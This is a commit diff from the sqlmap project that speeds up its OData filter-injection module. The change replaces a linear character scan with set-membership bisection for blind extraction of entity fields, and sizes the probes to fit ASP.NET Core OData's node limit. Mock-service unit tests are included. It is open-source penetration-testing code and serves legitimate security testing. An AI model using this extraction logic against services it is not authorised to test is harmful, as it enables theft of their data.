Skip to content

Commit 08b986d

Browse files
committed
Faster --odata
1 parent d6370a6 commit 08b986d

3 files changed

Lines changed: 167 additions & 17 deletions

File tree

lib/core/settings.py

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty import six
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.10.8.23"
23+
VERSION = "1.10.8.24"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1496,10 +1496,16 @@
14961496

14971497
ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)
14981498

1499-
# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) OData blind character scan
1499+
# Printable-ASCII codepoint bounds for the OData blind character scan
15001500
ODATA_CHAR_MIN = 0x20
15011501
ODATA_CHAR_MAX = 0x7e
15021502

1503+
# Candidate characters per set-membership probe on a service without the v4.01 'in' operator, where a
1504+
# set has to be spelled as a disjunction of equalities. Each term costs the parser ~8 of the 100 nodes
1505+
# ASP.NET Core OData allows by default (MaxNodeCount), measured to reject at 11 terms - so this leaves
1506+
# headroom for a longer key/property name in the same filter
1507+
ODATA_CHARSET_BLOCK = 8
1508+
15031509
ODATA_MAX_LENGTH = 256 # a single property value
15041510
ODATA_MAX_RECORDS = 20 # entities blind-dumped
15051511
ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key

lib/techniques/odata/inject.py

Lines changed: 77 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -44,8 +44,10 @@
4444
from lib.utils.nonsql import ratio as _ratio
4545
from lib.utils.nonsql import userDecision
4646
from lib.utils.nonsql import userOracleActive
47+
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
4748
from lib.core.settings import ODATA_CHAR_MAX
4849
from lib.core.settings import ODATA_CHAR_MIN
50+
from lib.core.settings import ODATA_CHARSET_BLOCK
4951
from lib.core.settings import ODATA_COMMON_FIELDS
5052
from lib.core.settings import ODATA_ERROR_REGEX
5153
from lib.core.settings import ODATA_ERROR_SIGNATURES
@@ -78,13 +80,14 @@
7880
)
7981

8082
# Charset for blind character recovery.
81-
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string
83+
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), never a '>=' bisection: .NET / OData string
8284
# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
83-
# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency
84-
# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact
85-
# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot
86-
# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData
87-
# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped.
85+
# lexicographic bisection, whereas eq is ordinal and exact. Bisection is recovered WITHOUT ordering by
86+
# asking about a whole candidate set per request (see _memberOf), so the set is ordered by real-world
87+
# frequency - a common character is settled inside the first block. Because the probe is exact rather
88+
# than positional, the order is free and a missing codepoint only costs coverage - it cannot alias onto
89+
# a neighbour the way a bisection hole does. Nothing is excluded: the one character OData cannot carry
90+
# raw inside a literal, the single quote, is doubled per the spec instead of dropped.
8891
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) +
8992
tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?"))
9093
_CS_ORDS = []
@@ -95,6 +98,24 @@
9598
if _o not in _CS_ORDS:
9699
_CS_ORDS.append(_o)
97100

101+
# ...and weighted by the same shipped character prior blind SQL retrieval banks on, so a set is split
102+
# at its cumulative-WEIGHT midpoint rather than its midpoint by count. That puts the likely characters
103+
# nearer the root of the decision tree, which is what beats a uniform bisection's flat log2(charset).
104+
_CS_WEIGHTS = dict((_o, HUFFMAN_PRIOR_WEIGHTS.get(_o, 1)) for _o in _CS_ORDS)
105+
_CS_ORDS.sort(key=lambda _o: -_CS_WEIGHTS[_o])
106+
107+
108+
def _splitPoint(candidates):
109+
"""Where to cut `candidates` so that either answer is about equally likely (never degenerate)."""
110+
111+
half = sum(_CS_WEIGHTS[_] for _ in candidates) / 2.0
112+
running = 0
113+
for index, ordinal in enumerate(candidates):
114+
running += _CS_WEIGHTS[ordinal]
115+
if running >= half:
116+
return min(index + 1, len(candidates) - 1)
117+
return len(candidates) - 1
118+
98119

99120
def _literal(ordinal):
100121
"""One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
@@ -399,13 +420,38 @@ def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True
399420
return None, []
400421

401422

402-
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
423+
def _memberOf(oracle, pin, field, pos, ordinals, useIn):
424+
"""One request asking whether the character at `pos` is ANY of `ordinals`."""
425+
426+
substring = "substring(%s,%d,1)" % (field, pos)
427+
if useIn:
428+
return oracle("(%s%s in (%s))" % (pin, substring, ",".join(_literal(_) for _ in ordinals)))
429+
return oracle("(%s(%s))" % (pin, " or ".join("%s eq %s" % (substring, _literal(_)) for _ in ordinals)))
430+
431+
432+
def _supportsIn(oracle, pin):
433+
"""Whether the service speaks the v4.01 `in` operator, settled by a differential so one that merely
434+
tolerates the syntax cannot fake it. Both spellings ask the identical question, but `in` costs the
435+
parser a SINGLE node against ~8 per candidate for the disjunction, and the ceiling is real: ASP.NET
436+
Core OData allows 100 nodes by default (MaxNodeCount) and was measured rejecting an 11-term
437+
disjunction outright. So `in`, where offered, buys headroom on a service configured stricter than
438+
the default rather than a bigger question."""
439+
440+
try:
441+
return oracle("(%s'a' in ('a','b'))" % pin) and not oracle("(%s'a' in ('b','c'))" % pin)
442+
except InconclusiveError:
443+
return False
444+
445+
446+
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH, useIn=None):
403447
"""Blindly recover one string property of the entity pinned by key==keyValue: length by binary
404-
search, then each character by bisecting its index in the codepoint-ordered charset. OData substring()
405-
is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1)."""
448+
search, then each character by set-membership bisection. OData substring() is 0-indexed, so
449+
character `pos` (1-based) is substring(field,pos-1,1)."""
406450

407451
pin = "%s eq %d and " % (key, keyValue)
408452
try:
453+
if useIn is None:
454+
useIn = _supportsIn(oracle, pin)
409455
if not oracle("(%slength(%s) ge 1)" % (pin, field)):
410456
return ""
411457
lo, hi = 1, maxLen
@@ -419,12 +465,22 @@ def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
419465

420466
chars = []
421467
for pos in xrange(length):
422-
# exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values
468+
# A whole candidate set is asked about in ONE request, so a probe halves the space just as
469+
# a relational bisection would - without ever leaving `eq`, the only comparison .NET does
470+
# not case-fold. The weight-ordered blocks are tried in turn, so a likely character is
471+
# settled by the first of them and never pays for the rest of the charset.
423472
recovered = "?"
424-
for ordinal in _CS_ORDS:
425-
if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))):
426-
recovered = chr(ordinal)
427-
break
473+
for start in xrange(0, len(_CS_ORDS), ODATA_CHARSET_BLOCK):
474+
candidates = _CS_ORDS[start:start + ODATA_CHARSET_BLOCK]
475+
if not _memberOf(oracle, pin, field, pos, candidates, useIn):
476+
continue
477+
while len(candidates) > 1:
478+
# membership in `candidates` is established, so the untested side is implied
479+
cut = _splitPoint(candidates)
480+
candidates = (candidates[:cut] if _memberOf(oracle, pin, field, pos, candidates[:cut], useIn)
481+
else candidates[cut:])
482+
recovered = chr(candidates[0])
483+
break
428484
chars.append(recovered)
429485
except InconclusiveError:
430486
logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field)
@@ -482,13 +538,19 @@ def _dumpEntities(place, parameter, boundary, emptyPage):
482538
% (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields)))
483539

484540
rows = []
541+
useIn = None
485542
for value in keys:
486543
oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value))
487544
if oracle is None:
488545
continue
546+
if useIn is None:
547+
# a property of the service, not of the entity, so it is settled once for the whole dump
548+
useIn = _supportsIn(oracle, "%s eq %d and " % (key, value))
549+
logger.debug("service %s the 'in' operator, so one probe covers %d candidate character(s)"
550+
% ("speaks" if useIn else "does not speak", len(_CS_ORDS) if useIn else ODATA_CHARSET_BLOCK))
489551
row = [str(value)]
490552
for field in fields[1:]:
491-
recovered = _inferField(oracle, key, value, field)
553+
recovered = _inferField(oracle, key, value, field, useIn=useIn)
492554
row.append("?" if recovered is None else recovered)
493555
rows.append(row)
494556

tests/test_odata.py

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020
bootstrap()
2121

2222
import lib.techniques.odata.inject as odata
23+
from lib.core.settings import ODATA_CHARSET_BLOCK
2324
from lib.core.settings import ODATA_ERROR_REGEX
2425

2526
_ENTITIES = (
@@ -339,5 +340,86 @@ def test_plain_sql_endpoint_not_confirmed(self):
339340
self.assertIsNone(template)
340341

341342

343+
_LITERAL = r"'(?:[^']|'')*'"
344+
_IN_REGEX = re.compile(r"(?P<lhs>substring\(\w+,\d+,1\)|%s) in \((?P<items>%s(?:,%s)*)\)"
345+
% (_LITERAL, _LITERAL, _LITERAL))
346+
347+
348+
def _expandIn(expr):
349+
"""Rewrite a v4.01 "X in (a,b,c)" into the equivalent v4.0 disjunction - all the mock parser needs
350+
in order to model a service that offers the operator, without teaching _atom() a second syntax."""
351+
352+
def expand(match):
353+
lhs = match.group("lhs")
354+
return "(%s)" % " or ".join("%s eq %s" % (lhs, _) for _ in re.findall(_LITERAL, match.group("items")))
355+
356+
return _IN_REGEX.sub(expand, expr)
357+
358+
359+
def _mockSendIn(place, parameter, value, raw=False):
360+
"""A v4.01 service: identical semantics, but it also parses the 'in' operator."""
361+
return _mockSend(place, parameter, _expandIn(value), raw)
362+
363+
364+
class TestSetMembershipRecovery(unittest.TestCase):
365+
"""Character recovery asks about a whole candidate SET per request. .NET string comparison is
366+
culture-aware and case-folding, so a lexicographic bisection is unusable - but set membership needs
367+
no ordering and halves the space just the same. This pins the cost: the linear scan this replaced
368+
spent one request per candidate, up to the whole charset for a single character."""
369+
370+
def setUp(self):
371+
self.saved, self.savedParams = odata._send, odata.conf.parameters
372+
odata.conf.parameters = {odata.PLACE.GET: "name=luther"}
373+
odata.SENTINEL = "zzsentinelzz"
374+
self.sent = []
375+
376+
def tearDown(self):
377+
odata._send, odata.conf.parameters = self.saved, self.savedParams
378+
379+
def _extract(self, service, field="Secret"):
380+
def counting(place, parameter, value, raw=False):
381+
self.sent.append(value)
382+
return service(place, parameter, value, raw)
383+
384+
odata._send = counting
385+
_t, _p, boundary = odata._detectBoolean(odata.PLACE.GET, "name")
386+
oracle = odata._makeOracle(odata.PLACE.GET, "name", boundary, truePredicate="(Id eq 1)")
387+
self.assertIsNotNone(oracle)
388+
before = len(self.sent)
389+
return odata._inferField(oracle, "Id", 1, field), len(self.sent) - before
390+
391+
def test_v40_service_extracts_under_a_linear_scan(self):
392+
value, cost = self._extract(_mockSend)
393+
self.assertEqual(value, "S3CR3Tvalue")
394+
self.assertLess(cost, len(value) * len(odata._CS_ORDS))
395+
396+
def test_v401_service_extracts_the_same_value(self):
397+
value, cost = self._extract(_mockSendIn)
398+
self.assertEqual(value, "S3CR3Tvalue")
399+
self.assertLess(cost, len(value) * len(odata._CS_ORDS))
400+
401+
def test_in_encoding_is_used_only_when_offered(self):
402+
self._extract(_mockSendIn)
403+
self.assertTrue(any(" in (" in _ for _ in self.sent))
404+
self.sent = []
405+
self._extract(_mockSend)
406+
self.assertFalse(any("substring(Secret,0,1) in (" in _ for _ in self.sent))
407+
408+
def test_disjunction_stays_inside_the_node_budget(self):
409+
"""Every 'or' term costs the service's parser ~8 of the 100 nodes ASP.NET Core OData allows by
410+
default (MaxNodeCount); an 11-term disjunction was measured being rejected outright."""
411+
412+
self._extract(_mockSend)
413+
for value in self.sent:
414+
self.assertLessEqual(value.count("substring("), ODATA_CHARSET_BLOCK)
415+
416+
def test_split_point_never_degenerates(self):
417+
"""A cut of 0 or of len(candidates) would leave the set unchanged and loop forever."""
418+
419+
for size in range(2, len(odata._CS_ORDS) + 1):
420+
cut = odata._splitPoint(odata._CS_ORDS[:size])
421+
self.assertTrue(0 < cut < size, "size %d cut %d" % (size, cut))
422+
423+
342424
if __name__ == "__main__":
343425
unittest.main(verbosity=2)

0 commit comments

Comments
 (0)